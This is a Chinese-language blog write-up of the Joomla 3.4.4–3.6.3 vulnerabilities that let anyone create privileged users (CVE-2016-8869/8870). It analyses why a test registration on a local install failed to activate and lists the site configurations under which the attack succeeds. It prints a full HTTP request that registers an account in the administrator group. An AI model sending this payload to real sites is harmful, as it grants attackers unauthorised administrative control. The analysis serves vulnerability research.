Joomla未授权创建特权用户实践

0x00前言

  近日爆出Joomla的3.4.4-3.6.3版本存在未授权创建用户漏洞CVE-2016-8869,CVE-2016-8870,测试3.6.3版本Joomla的实践中发现默认安装Joomla后,由于默认网站关闭注册功能且注册用户的激活方式是”self”即用户自己邮箱激活,实践中利用漏洞发送数据包注册账户成功却不能成功激活且不能成功登录,接下来就是问题分析及思考。

0x01漏洞原理

  1. 大致原理:
    Joomla源码中/components/com_users/controllers/registration.php
    /components/com_users/controllers/user.php两个文件皆存在用户注册函数,然而user.php中的注册函数没有检测管理员是否关闭用户注册功能,导致攻击者可以在网站关闭注册的情况下注册特权用户。

  2. 具体利用方式参考链接:
    Joomla未授权创建用户漏洞(CVE-2016-8870)分析
    Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析

笔者的非授权创建特权用户测试数据包格式如下(记得修改为对应的IP、cookie、token、邮箱)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
POST /index.php/component/users/?task=registration.register HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php/component/users/?view=registration
Cookie: mycookie
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------602419586513
Content-Length: 1074

-----------------------------602419586513
Content-Disposition: form-data; name="user[name]"

123321
-----------------------------602419586513
Content-Disposition: form-data; name="user[username]"

123321
-----------------------------602419586513
Content-Disposition: form-data; name="user[password1]"

123321
-----------------------------602419586513
Content-Disposition: form-data; name="user[password2]"

123321
-----------------------------602419586513
Content-Disposition: form-data; name="user[email1]"

[email protected]
-----------------------------602419586513
Content-Disposition: form-data; name="user[email2]"

[email protected]
-----------------------------602419586513
Content-Disposition: form-data; name="user[groups][]"

7
-----------------------------602419586513
Content-Disposition: form-data; name="option"

com_users
-----------------------------602419586513
Content-Disposition: form-data; name="task"

user.register
-----------------------------602419586513
Content-Disposition: form-data; name="mytoken"

1
-----------------------------602419586513--

数据包发送成功,邮箱收到激活邮件

邮箱收到激活邮件
然而点击激活却返回403禁止访问。

403禁止访问
管理后台查看用户状态发现没有启用和激活

管理后台查看用户状

0x02激活失败原因分析

查看/components/com_users/controllers/registration.php源码,分析激活函数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function activate()
{
$user = JFactory::getUser();
$input = JFactory::getApplication()->input;
$uParams = JComponentHelper::getParams('com_users');

// Check for admin activation. Don't allow non-super-admin to delete a super admin
if ($uParams->get('useractivation') != 2 && $user->get('id'))
{
$this->setRedirect('index.php');

return true;
}

// If user registration or account activation is disabled, throw a 403.
if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
{
JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));

return false;
}

$model = $this->getModel('Registration', 'UsersModel');
$token = $input->getAlnum('token');

……
以下省略

激活函数判断如果注册用户激活方式不是Self(用户激活模式) 或者如果网站注册功能关闭均会返回403禁止访问,从而导致不能成功激活和登录,即网站关闭注册功能就不能激活,只有激活方式是None(不用激活)才能成功利用。安装joomla后默认关闭网站注册功能而且账户激活方式是”Self”用户激活方式,根据上面分析表明如果网站是关闭了注册功能,那么用户就不能成功激活,当然,也不能成功登录。

账户激活方式

0x03应用场景总结

  1. 网站开启注册功能,注册用户激活方式为”Self”或者”None”可以利用此漏洞注册获得高权限用户。
  2. 网站关闭用户注册功能,但是新用户注册激活方式为”None”,即不需要激活。可以利用此漏洞注册获得高权限用户